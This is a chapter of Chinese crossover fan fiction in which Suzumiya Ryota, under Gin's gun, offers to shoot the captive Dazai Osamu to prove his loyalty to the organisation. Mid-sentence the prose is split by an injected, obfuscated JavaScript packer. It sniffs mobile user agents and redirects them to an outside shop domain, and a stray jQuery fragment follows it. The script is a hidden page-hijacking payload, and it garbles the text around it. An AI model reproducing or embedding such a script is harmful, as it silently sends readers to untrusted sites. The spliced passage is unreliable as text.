白发青年站在原地,沉默着。
之前琴酒对自己的看法一直是“无关紧要的异能力高中生”,可这个时候他却突然承认了自己组织正式成员的身份。
不管出于什么原因,凉宫凛太都有点惊喜。
嘛,这下子口袋里的辞呈还怎么递上去......他回想起今早羽生忧介知道他在黑衣组织当顾问后极其反对的样子。
原话是:“基金会的BOSS怎么可以在其他组织里做下属。”
“回答我,凉宫,不得不说你的胆子很大,在枪管下走神,不怕命也跟着没了吗?”身边的手下给琴酒递了一根烟。在吸入一口尼古丁后,琴酒的语气不再那么沉重生硬。
或许他认为眼前的青年无论是何种身份都逃脱不了这里。
凉宫凛太缓缓抬手,把鼻梁上的眼镜取下。
这样的情况,还真是麻烦。
夌怎么还不出现,他去哪了?白发青年的指尖冰冷,在口袋里还没捂暖的手又被金属框架温度冰了一下。
夌缔契的本来目的是为了避免麻烦,凉宫凛太动了动嘴角,无孔不入的灯光将他的微微上扬的笑容暴露。
结果为了避免麻烦摊上了一个更大的麻烦,挺好笑的。
琴酒将他的每一个神情纳入眼底,那抹笑出现的突然,琴酒拿着烟的动作顿了顿。
凉宫凛太将镜腿折叠,把眼镜压进口袋,跟那几张万円放在一起。
没有眼镜和口罩的遮挡,才能直观感受到白发青年五官的精致。琴酒不知道他这个动作的意义,只见青年迈步,朝他走来。
枪上过保险,琴酒早就做好了杀人的准备,可凉宫凛太这样无所畏惧的过来,琴酒竟然有些担心枪的走火问题。
凉宫凛太在琴酒面前站定,他的手几乎没有犹豫的握住枪管。与此同时伏特加和其余手下蠢蠢欲动着准备拿下凉宫凛太。
琴酒夹着烟的手在空中停下,示意不准上前。
被绑在椅子上的太宰治无力抬头看这边的情况,凉宫凛太只能看到他因为疼痛而时不时的颤抖。
整个房间在这些瞬间寂静无声,太宰治能听到自己负重的心脏一下下跳动,十分沉闷。
“老板。”这是凉宫凛太的声音,他的五感极其敏感,在心跳撞击胸腔的声音背景下,太宰治听到了他接下来说的话。
“太宰治是损伤了组织利益的人,作为mafia的干部想必口风很严实,既然追查不出真相,不如杀了他。”
“由我来动手,以此表明我对组织的忠诚。”
“砰砰、砰砰、砰砰砰砰砰砰......”太宰治听到了自己的心跳。发丝被汗液打湿,些许粘在了脸颊边,右眼绷带上侵染的血迹已经干涸,他垂着头,撑着眼皮露出那双鸢色的眸子,透出了一股极其强烈的光亮。
他噙着笑,这抹笑里的内容极其复杂。
心跳得很快!
因为接近死亡的愉悦,也因为造成痛苦的不满。
要死了吗......终于到这一步了吗!!这种感觉史无前例,太宰治忍着疼,身体不再是因为寒冷刺激而颤抖,而是涨红了脸,因为憋笑造成的小幅度抽搐。
可除了他本人之外,无人注意到他的变化。
琴酒挑起眉头摊开手,那把袖珍手/枪就此躺在他的掌心,供凉宫凛太取用。
凉宫凛太拿过手/枪,和他的动作同步,黑衣人们的手里的武器对准了白发青年。
事态的发展迅速且离谱。
凉宫凛太敛了笑容,不是很熟练的握枪,只见太宰治挣扎的抬起头,想要维持这个动作耗费了他许多力气。
如果可以,太宰治想见证这个瞬间——通向死亡的甜蜜瞬间。
白发青年的目光冷下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871722|212295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来,仿佛眼前的人已经是一具尸体,他摸索着扳机,缓慢寻找准心。
在对上那双满是期待的视线后,凉宫凛太突然心虚了一下,不过很快就回归平静。
凉宫凛太的长相极具欺骗性,他摇摇晃晃的前臂让黑衣人们都捏了一把汗,虽然是在证明对组织的忠诚,但在心里他们已经默认了小顾问不会背叛组织。
毕竟琴酒先生曾经怀疑过在场的所有人。
所以杀一个其他组织的干部倒是无所谓,他们更害怕的是被误伤。
新人枪手太可怕了。
凉宫凛太最终定好位置,扳机很硬,毕竟另一个作用是打火机,他稍稍用了些力——
“砰!”
子弹猝不及防的发出,这声枪响把同样纠结扳机的黑衣人们吓了一跳。
虽然是袖珍手/枪,后座力却不容小觑,凉宫凛太的手臂被弹开,连带整个人往后倒了一小步。
......打歪了。
一时间众人沉默。
太宰治大口的呼吸着,仿佛周边的氧气在刚才子弹发出的瞬间凝固,才开始流通。
“不要灰心,凛太。”他眼里的失落瞬间被兴奋取代,“第一次握枪中不了很正常,我们继续!”
太宰治鼓励着凉宫凛太,明明自己是靶子,这三两句话却把自己放在了老师的位置。
“对,我们继续。”
声音来自琴酒。
话音刚落,凉宫凛太的后背就靠上了一块温热,他的手被一双肤色相差不大的手包裹。
“既然是初学者,为了避免伤到自己,应该双手持枪。”
银发男人比青年高出不少,体格差距足以将青年整个人包裹在大衣里。
凉宫凛太不自然地动了动,琴酒的声音就在耳边响起,呼出的热气让他的耳朵痒痒的。
“专心。”琴酒道。